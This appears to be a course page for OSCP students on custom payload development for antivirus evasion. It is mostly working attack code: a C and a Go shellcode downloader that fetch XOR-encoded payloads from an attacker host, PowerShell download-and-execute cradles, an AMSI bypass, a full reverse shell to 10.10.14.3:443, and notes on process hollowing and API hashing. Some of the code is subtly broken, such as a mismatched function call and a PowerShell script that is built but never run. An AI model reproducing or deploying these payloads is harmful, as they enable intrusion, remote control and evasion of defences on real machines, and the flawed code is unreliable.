Domain 3Exploit Dev & AV EvasionCORE

Custom Payload Development

Guide to custom payload development for AV evasion, covering development workflow, C and Go implementations, XOR decoding, memory execution, download cradles, testing checklist, and resources for OSCP students.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#custom-payload#c#golang#development#evasion

Custom Payload Development

Why Custom Payloads?

Off-the-shelf tools (Metasploit, Cobalt Strike) are widely detected. Custom payloads give you:

  • Unique Signatures — No known hash or YARA rule matches your binary
  • Full Control — You decide every API call, every byte in memory
  • Optimization — Strip features you don’t need; smaller = less suspicious
  • Better Evasion — Hand-crafted behavior avoids heuristic triggers
  • Learning Value — Understanding payload internals makes you a better pentester

OSCP Tip: Exam machines run ClamAV and sometimes Windows Defender. A well-crafted custom payload often slips through where msfvenom does not.


Development Workflow

Follow this iterative process:

  1. Requirement Analysis — Define target OS, architecture, needed functionality
  2. Design — Sketch the architecture: download → decode → execute
  3. Implementation — Code in C, Go, or PowerShell
  4. Testing — Run in sandbox with AV enabled; verify functionality
  5. Iteration — If detected, modify encoding, APIs, or timing
  6. Deployment — Deliver via phishing, drive-by, or exploit
  7. Monitoring — Watch for AV updates that catch your technique

Custom Payload in C

Complete example: XOR-decoded shellcode downloaded via WinINet and executed in-memory.

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")

// XOR key for decoding
#define XOR_KEY 0xAA

// Function to download payload from URL
BYTE* download_payload(const char* url, DWORD* out_size) {
    HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return NULL;

    HINTERNET hConnect = InternetOpenUrlA(hInternet, url, NULL, 0,
                                          INTERNET_FLAG_RELOAD, 0);
    if (!hConnect) { InternetCloseHandle(hInternet); return NULL; }

    // Read response
    BYTE buffer[1024 * 1024]; // 1MB max
    DWORD total = 0, read = 0;
    while (InternetReadFile(hConnect, buffer + total, 1024, &read) && read > 0) {
        total += read;
        if (total >= sizeof(buffer)) break;
    }

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    *out_size = total;
    return (BYTE*)memcpy(malloc(total), buffer, total);
}

// XOR decode in-place
void xor_decode(BYTE* data, DWORD size) {
    for (DWORD i = 0; i < size; i++)
        data[i] ^= XOR_KEY;
}

// Execute shellcode in memory
void execute_shellcode(BYTE* shellcode, DWORD size) {
    LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!mem) return;

    memcpy(mem, shellcode, size);
    ((void(*)())mem)();
}

int main() {
    DWORD size = 0;
    BYTE* payload = download_payload("http://10.10.14.3:8080/shell.bin");

    if (!payload) {
        printf("Download failed\n");
        return 1;
    }

    xor_decode(payload, size);
    execute_shellcode(payload, size);
    return 0;
}

Compilation with MinGW

# Cross-compile from Kali/Linux
i686-w64-mingw32-gcc -o payload.exe payload.c -lwininet -lws2_32 -static

# Or compile on Windows with MSYS2/MinGW
x86_64-w64-mingw32-gcc -O2 -s -o payload.exe payload.c -lwininet

Key flags: -s strips debug symbols (smaller binary), -O2 optimizes code.


Custom Payload in Go

Go is ideal for cross-compilation and has no external dependencies.

package main

import (
    "crypto/rand"
    "encoding/hex"
    "fmt"
    "io"
    "net/http"
    "os"
    "os/exec"
)

// XOR decode with a dynamic key
func xorDecode(data []byte, key byte) []byte {
    decoded := make([]byte, len(data))
    for i, b := range data {
        decoded[i] = b ^ key
    }
    return decoded
}

// Download payload from URL
func downloadPayload(url string) ([]byte, error) {
    resp, err := http.Get(url)
    if err != nil {
        return nil, fmt.Errorf("download failed: %w", err)
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        return nil, fmt.Errorf("HTTP %d", resp.StatusCode)
    }

    return io.ReadAll(resp.Body)
}

// Launch decoded payload via PowerShell in-memory
func launchViaPowerShell(payload []byte) error {
    // Encode payload to base64 for PowerShell
    b64 := hex.EncodeToString(payload)

    cmd := exec.Command("powershell.exe", "-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden")
    cmd.Stdin = nil
    cmd.Stdout = nil
    cmd.Stderr = nil

    psScript := fmt.Sprintf(`
        $b = [Convert]::FromHexString("%s")
        $key = 0xAA
        for ($i = 0; $i -lt $b.Length; $i++) { $b[$i] = $b[$i] -bxor $key }
        $func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
            [System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length),
            [System.Reflection.MethodBase]::GetMethodFromHandle(
                [System.Reflection.MethodInfo]::GetMethodFromHandle(
                    [System.Reflection.MethodBase]::GetMethodFromHandle(
                        [System.Reflection.MethodInfo]::GetMethodFromHandle(
                            [IntPtr]::Zero
                        ).MethodHandle
                    ).MethodHandle
                ).MethodHandle
            )
        )
        # Simpler: use VirtualAlloc + memcpy approach
        $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length)
        [System.Runtime.InteropServices.Marshal]::Copy($b, 0, $ptr, $b.Length)
        [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x90909090)
    `, b64)

    cmd.Stdin = nil
    return cmd.Run()
}

func main() {
    targetURL := "http://10.10.14.3:8080/shell.bin"

    // Download
    payload, err := downloadPayload(targetURL)
    if err != nil {
        fmt.Fprintf(os.Stderr, "Error: %v\n", err)
        os.Exit(1)
    }

    // Decode
    decoded := xorDecode(payload, 0xAA)

    // Write to temp and execute (simpler approach for OSCP)
    tmpFile := fmt.Sprintf("%s\\%s.exe", os.TempDir(), randomString(8))
    err = os.WriteFile(tmpFile, decoded, 0755)
    if err != nil {
        os.Exit(1)
    }
    defer os.Remove(tmpFile)

    cmd := exec.Command(tmpFile)
    cmd.Stdout = nil
    cmd.Stderr = nil
    cmd.Run()
}

func randomString(n int) string {
    b := make([]byte, n)
    rand.Read(b)
    return hex.EncodeToString(b)[:n]
}

Cross-Compilation

# From Kali/Linux to Windows x64
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go

# To Windows x86
GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o payload.exe payload.go

Flags: -s strips symbol table, -w strips DWARF debug info → smaller, harder to analyze.


Custom Payload in PowerShell

PowerShell download cradles are fast to deploy and great for quick access.

Basic Download Cradle

# One-liner: download and execute in memory
(IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/rev.ps1'))

# Alternative with Invoke-WebRequest
IEX (Invoke-WebRequest -Uri 'http://10.10.14.3:8080/rev.ps1' -UseBasicParsing).Content

In-Memory Execution with AMSI Bypass

# AMSI Patch (bypass application whitelisting inspection)
$amsi = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like '*AmsiUtils*' }
$amsi::AmsiSessionOpen = [IntPtr]::Zero
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$virtProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        [System.Runtime.InteropServices.Marshal]::GetHRForExceptionNew(
            [System.Exception]::new()
        )
    )
)
# Simpler AMSI bypass:
[Ref].Assembly.GetTypes() | Where-Object { $_.Name -like '*AmsiUtils*' } |
    ForEach-Object {
        $field = $_.GetField('amsiInitFailed', 'NonPublic,Static')
        $field.SetValue($null, $true)
    }

# Download and execute reverse shell
$url = 'http://10.10.14.3:8080/rev.ps1'
$payload = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $payload

Reverse Shell Payload (served at rev.ps1)

$client = New-Object System.Net.Sockets.TCPClient
$client.Connect('10.10.14.3', 443)
$stream = $client.GetStream()
[byte[]]$buffer = 0..1023 | ForEach-Object { 0 }

$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'cmd.exe'
$process.StartInfo.RedirectStandardInput = $true
$process.StartInfo.RedirectStandardOutput = $true
$process.StartInfo.UseShellExecute = $false
$process.Start()

$inputStream = $process.StandardInput.BaseStream
$outputStream = $process.StandardOutput.BaseStream

while (($i = $stream.Read($buffer, 0, 1024)) -ne 0) {
    $inputStream.Write($buffer, 0, $i)
    $inputStream.Flush()
    $out = (New-Object System.Text.ASCIIEncoding).GetString(
        $process.StandardOutput.ReadToEnd([byte[]]::new(1), 0, 1024)
    )
    $sendBytes = [Text.Encoding]::ASCII.GetBytes($out)
    $stream.Write($sendBytes, 0, $sendBytes.Length)
}
$client.Close()

Key Windows APIs for Payload Development

API Header Purpose
VirtualAlloc windows.h Allocate RWX memory for shellcode
VirtualProtect windows.h Change memory protection (e.g., RW → RX)
WriteProcessMemory windows.h Write shellcode into another process
CreateRemoteThread windows.h Execute code in remote process (process injection)
NtCreateThreadEx ntdll.dll Unhooked thread creation (better evasion)
LoadLibraryA kernel32.dll Load DLL into process
GetProcAddress kernel32.dll Resolve function address by name (API hashing)
CreateProcess windows.h Spawn new process
QueueUserAPC kernel32.dll Inject code via Asynchronous Procedure Call
RtlCreateUserThread ntdll.dll Alternative thread creation

API Hashing for Evasion

Instead of hardcoding API names, compute hashes at runtime:

DWORD api_hash(const char* name) {
    DWORD hash = 2166136261; // FNV-1a offset basis
    for (int i = 0; name[i]; i++) {
        hash ^= name[i];
        hash *= 16777619;    // FNV prime
    }
    return hash;
}
// "VirtualAlloc" → 0x... resolved dynamically from PEB → LdrData → InLoadOrderModuleList

Memory Execution Techniques

Technique 1: VirtualAlloc + Direct Call

LPVOID shell = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shell, encoded_payload, size);
xor_decode(shell, size);  // Decode in-place
((void(*)())shell)();     // Execute as function pointer

Technique 2: Process Hollowing

  1. Create target process in suspended state (CREATE_SUSPENDED)
  2. Unmap its original image (NtUnmapViewOfSection)
  3. Allocate new memory and write your payload
  4. Update PEB and thread context to point to your payload
  5. Resume the thread

Technique 3: Reflective DLL Injection

Load a DLL entirely in memory without touching disk — bypasses file-based AV scanning.

Memory Protection Flags:

  • PAGE_READWRITE (0x04) — Read + Write
  • PAGE_EXECUTE_READ (0x20) — Execute + Read
  • PAGE_EXECUTE_READWRITE (0x40) — Execute + Read + Write (most detectable)
  • Best practice: Allocate as RW, write payload, change to RX with VirtualProtect

Network Communication

WinINet (Simpler, Legacy)

HINTERNET h = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hUrl = InternetOpenUrlA(h, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
// Read with InternetReadFile()

WinHTTP (Modern, Preferred)

HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                                  WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"10.10.14.3", 8080, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/shell.bin", NULL,
                                         WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                   WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);

Raw Sockets (For C2 Frameworks)

Use socket(), connect(), send(), recv() from ws2_32.lib for custom protocols.


Encoding and Decryption Strategies

Strategy Complexity Evasion Notes
XOR (single key) Low Low-Medium Fast, easy to implement
XOR (multi-key/rolling) Low Medium Rotate key per byte
Base64 Low Low Standard encoding, easily decoded
RC4 Medium Medium Stream cipher, lightweight
AES High High Use bcrypt.dll on Windows
Custom substitution Medium Medium Design your own cipher
Compression + Encrypt High High zlib → AES pipeline

Multi-Layer Encoding Example

Shellcode → XOR(key1) → Base64 → XOR(key2) → Final payload

Decode in reverse order at runtime. Each layer adds detection complexity.


Testing Checklist

Before deploying on an OSCP exam machine, verify:

Environment

  • OS Version — Test on the exact Windows version (Win 7, 10, 11, Server)
  • Architecture — x86 vs x64 matters for shellcode and compilation
  • Language/Region — Some APIs behave differently by locale

Security Software

  • AV Testing — Run with ClamAV, Windows Defender enabled
  • EDR Testing — If present, test against behavioral detection
  • Application Control — Check AppLocker, WDAC policies
  • Network Firewall — Verify outbound connectivity on your ports

Functionality

  • Payload Executes — Shellcode runs without crashing
  • Stability — No access violations or hangs
  • Callback Works — Reverse shell connects to your listener
  • C2 Communication — Commands execute and return output

Stealth

  • Debug Artifacts — No debug strings, console windows, or printfs
  • Network Signatures — No obvious Metasploit User-Agent or headers
  • File Artifacts — No temp files left on disk (or cleaned up)
  • Registry/Event Logs — Minimize logging footprint

Persistence & Privilege

  • Persistence — If needed, test registry/run keys, scheduled tasks
  • Privilege Escalation — Payload works at current privilege level
  • UAC — Test behavior under UAC restrictions

Resources and Tools

Compilers and Build Tools

  • MinGW-w64 — i686-w64-mingw32-gcc / x86_64-w64-mingw32-gcc
  • Go — go build -ldflags="-s -w" for stripped binaries
  • MSVC — Visual Studio Build Tools for native compilation

Analysis and Debugging

  • Ghidra — Reverse engineer compiled payloads
  • x64dbg — Debug Windows executables
  • Process Hacker — Inspect memory, handles, threads
  • API Monitor — Trace API calls at runtime

Evasion Tools

  • Veil-Evasion — Generate MSF payloads with evasion
  • Encoder projects — xortool, shikata ga nai
  • Donut — Generate position-independent code from .NET assemblies

Learning Resources

  • ODiE (Obfuscation-Resistant Detection of Exploits) — Understanding detection
  • malwaretech.com — Excellent Windows internals for malware dev
  • Life of a Loader (ModExp) — Deep dive into loader techniques
  • The Art of Memory Forensics — Understand how memory is analyzed

Practical OSCP Tips

  1. Start Simple — A basic XOR-encoded Metasploit payload often beats no payload. Don’t over-engineer.

  2. Test Before the Exam — Build your custom payload toolkit during lab time. Have C, Go, and PowerShell variants ready.

  3. Fallback Plan — Always have msfvenom + manual encoding as backup. Custom payloads can fail silently.

  4. Use HTTPS — Many Windows machines allow HTTPS but block HTTP. Serve payloads on port 443.

  5. Stage Your Payloads — Small downloader → fetch large payload. Smaller initial binary = less detection.

  6. PowerShell is Your Friend — On Windows boxes, PowerShell download cradles are fast and often work where binaries fail.

  7. Don’t Forget Linux — Custom payloads apply to Linux too. Consider compiled C binaries or Python scripts for Linux targets.

  8. Time Management — If AV blocks your custom payload after 30 minutes of iteration, switch tactics. The exam rewards progress, not perfection.

  9. Document Everything — Note which payloads worked on which machines. This helps during the report phase.

  10. Combine Techniques — Custom payload + living-off-the-land (LOLBin) + AMSI bypass = strong evasion chain.


Remember: The goal is access, not perfection. A slightly detected payload that works beats an undetected one that crashes.